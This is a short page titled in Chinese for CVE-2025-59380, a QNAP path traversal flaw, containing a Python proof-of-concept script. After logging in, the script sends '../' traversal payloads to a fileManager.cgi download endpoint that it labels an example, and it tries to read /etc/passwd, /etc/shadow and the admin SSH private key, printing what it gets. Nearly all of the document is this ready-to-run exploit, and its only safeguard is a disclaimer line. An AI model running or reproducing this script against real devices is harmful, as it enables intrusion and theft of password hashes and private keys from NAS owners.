CVE-2025-59380 QNAP操作系统路径遍历漏洞

#!/usr/bin/env python3 """ CVE-2025-59380 PoC - QNAP Path Traversal Vulnerability Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys from urllib.parse import quote def exploit_qnap_path_traversal(target_url, username, password): """ Exploit path traversal vulnerability in QNAP NAS """ # Login first to obtain session login_url = f"{target_url}/cgi-bin/authLogin.cgi" login_data = { "username": username, "password": password } session = requests.Session() try: # Attempt login login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed - check credentials") return False # Path traversal attack - read /etc/passwd files_to_read = [ "/etc/passwd", "/etc/shadow", "/home/admin/.ssh/id_rsa" ] # Vulnerable endpoint (example) vuln_url = f"{target_url}/cgi-bin/fileManager.cgi" for file_path in files_to_read: # Encode path traversal payload payload = "../../../.." + file_path params = { "a": "download", "source": payload } print(f"[*] Attempting to read: {file_path}") try: response = session.get(vuln_url, params=params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File content:\n{response.text[:500]}") else: print(f"[-] Failed to retrieve {file_path}") except Exception as e: print(f"[-] Error: {e}") return True except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://192.168.1.100 admin Password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_qnap_path_traversal(target, user, pwd)